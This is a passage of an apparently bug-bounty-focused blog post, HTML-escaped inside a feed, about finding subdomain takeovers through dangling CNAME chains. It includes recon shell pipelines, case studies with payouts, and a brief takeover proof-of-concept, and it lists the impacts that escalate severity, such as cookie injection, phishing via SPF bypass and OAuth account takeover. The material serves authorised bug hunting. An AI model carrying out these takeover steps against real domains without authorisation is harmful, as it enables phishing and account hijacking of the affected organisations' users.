&lt;p&gt;For #3, the trick is to look for &lt;strong&gt;patterns in the HTML body of the landing page&lt;/strong&gt; that indicate the destination service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;cname_fingerprints.json | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'. | select(.status_code == 404) | .url'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | xargs &lt;span class="nt"&gt;-I&lt;/span&gt;&lt;span class="o"&gt;{}&lt;/span&gt; curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-ioE&lt;/span&gt; &lt;span class="s1"&gt;'(fastly|cloudfront|akamai|incapsula|heroku|netlify|vercel|render|fly|elastic)'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When 30+ subdomains all 404 with the same &lt;code&gt;&amp;lt;title&amp;gt;Fastly error: unknown domain&amp;lt;/title&amp;gt;&lt;/code&gt; banner, you've found a custom CDN whose parent org forgot to renew. The vulnerable subdomain is the one that's NOT in that group — it's the one resolving to a different IP than its siblings.&lt;/p&gt;

&lt;h3&gt;
  
  
  The "edge case" CNAMEs that pay the most
&lt;/h3&gt;

&lt;p&gt;These aren't in &lt;code&gt;cname_fingerprints.json&lt;/code&gt; at all. They're chains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sub.target.com → foo.partner-cdn.com → bar.cloudfront.net
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The middle CNAME (&lt;code&gt;foo.partner-cdn.com&lt;/code&gt;) is the one to investigate. Partner CDNs get acquired, deprecated, and the alias chains break in ways nobody monitors. My pipeline handles this with a second &lt;code&gt;dnsx -cname&lt;/code&gt; pass:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;cnames.txt | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; | dnsx &lt;span class="nt"&gt;-cname&lt;/span&gt; &lt;span class="nt"&gt;-resp-only&lt;/span&gt; &lt;span class="nt"&gt;-silent&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;' → '&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; cnames_v2.txt

&lt;span class="nb"&gt;cat &lt;/span&gt;cnames_v2.txt | dnsx &lt;span class="nt"&gt;-cname&lt;/span&gt; &lt;span class="nt"&gt;-resp-only&lt;/span&gt; &lt;span class="nt"&gt;-silent&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; cnames_v3.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three levels deep is usually enough. Four levels and you're chasing ghosts.&lt;/p&gt;

&lt;h2&gt;
  
  
  Case study #1 — $4,500 (H1, retail)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Subdomain:&lt;/strong&gt; &lt;code&gt;careers.acme-retail.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CNAME:&lt;/strong&gt; &lt;code&gt;acme-retail.jobs.net&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resolution:&lt;/strong&gt; &lt;code&gt;NXDOMAIN&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Service:&lt;/strong&gt; &lt;code&gt;jobs.net&lt;/code&gt; was acquired by &lt;code&gt;Eightfold.ai&lt;/code&gt; in 2023, all wildcard records were retired, but Acme's subdomain was never repointed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time to find:&lt;/strong&gt; 6 minutes (passive subfinder hit)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time to verify:&lt;/strong&gt; 8 minutes (dig + curl the error page)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time to report:&lt;/strong&gt; 12 minutes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time to triage:&lt;/strong&gt; 14 days (H1 is slow)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payout:&lt;/strong&gt; $4,500 — medium severity (auth not required, but limited scope)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lesson:&lt;/strong&gt; Eightfold is in my fingerprints now. Most aren't.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Case study #2 — $8,000 (Bugcrowd, SaaS)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Subdomain:&lt;/strong&gt; &lt;code&gt;docs.saas-corp.io&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CNAME chain:&lt;/strong&gt; &lt;code&gt;docs.saas-corp.io → saas-corp.readthedocs.io → readthedocs.io&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resolution:&lt;/strong&gt; &lt;code&gt;NXDOMAIN&lt;/code&gt; on the middle hop&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Service:&lt;/strong&gt; Saas-corp had moved their docs to Mintlify in 2024, repointed &lt;code&gt;docs.saas-corp.io&lt;/code&gt; to Mintlify, but the &lt;strong&gt;original CNAME&lt;/strong&gt; to readthedocs was still live and dangling&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time to find:&lt;/strong&gt; 2 hours (it was a chain, not a direct CNAME)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payout:&lt;/strong&gt; $8,000 — high severity (claimed → full docs takeover → potential SSO confusion → chained with a separate IDOR for $12k more)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lesson:&lt;/strong&gt; Always dig the chain. Orphaned links in archived sitemaps (Wayback Machine, CommonCrawl) often show the &lt;strong&gt;historical&lt;/strong&gt; CNAME structure.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Common pushback you'll get
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;"This is in scope already, automated scanners would have found it."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Reply with the takeover proof-of-concept:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;1. dig +short careers.acme-retail.com CNAME
   → acme-retail.jobs.net.
2. dig +short acme-retail.jobs.net
   → NXDOMAIN
&lt;/span&gt;&lt;span class="gp"&gt;3. Register acme-retail.jobs.net on Eightfold (free, $&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;4. curl -I https://careers.acme-retail.com
   → 200 OK, your-content-here
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The team triages in 24-72 hours when you attach a working PoC. Without PoC, your report is "we know, low priority."&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"It's medium severity at best."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It depends on what's at the destination:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cookie domain on the parent org&lt;/strong&gt; → high/critical (cookie injection via &lt;code&gt;Domain=&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Email (MX) record on the parent&lt;/strong&gt; → high (subdomain takeover → SPF bypass → phishing)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OAuth callback / SSO redirect&lt;/strong&gt; → critical (full account takeover chain)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Static marketing page&lt;/strong&gt; → medium/low&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Always check if the subdomain has an MX record, has any cookies set on the parent domain, or is in the OAuth redirect URI allowlist of any OAuth provider. All three are common.&lt;/p&gt;

&lt;h2&gt;
  
  
  The methodology distilled
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;CNAMEs only.&lt;/strong&gt; Skip A/AAAA.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chain resolution.&lt;/strong&gt; Two to three hops deep.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fingerprint the destination HTML.&lt;/strong&gt; Maintain your own list, don't trust &lt;code&gt;nuclei -t takeovers/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check for sibling subdomains.&lt;/strong&gt; If &lt;code&gt;foo.target.com&lt;/code&gt; 404s but &lt;code&gt;bar.target.com&lt;/code&gt; doesn't, and both CNAME to the same provider, &lt;code&gt;bar&lt;/code&gt; is the orphan.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Always PoC before reporting.&lt;/strong&gt; Register, serve, curl, screenshot. Triagers move on reports that have proof.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Look at Wayback for historical CNAMEs.&lt;/strong&gt; Most domain migrations leave orphans that nobody remembers.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Key takeaway
&lt;/h2&gt;

&lt;p&gt;Subdomain takeover isn't dead. The automated scanners cover the easy 80%. The remaining 20% is where the payouts are — CNAME chains, niche SaaS providers, post-acquisition service migrations. If you're only running &lt;code&gt;nuclei -t takeovers/&lt;/code&gt;, you're competing with everyone. If you maintain a private fingerprint list and dig the chains, you're competing with almost no one.&lt;/p&gt;




&lt;p&gt;Originally published at &lt;a href="https://t.me/oxnull_security" rel="noopener noreferrer"&gt;https://t.me/oxnull_security&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  cybersecurity #bugbounty #infosec #subdomaintakeover #recon #pentest
&lt;/h1&gt;

</description>
      <category>security</category>
      <category>bugbounty</category>
      <category>infosec</category>
      <category>pentest</category>
    </item>
  </channel>
</rss>
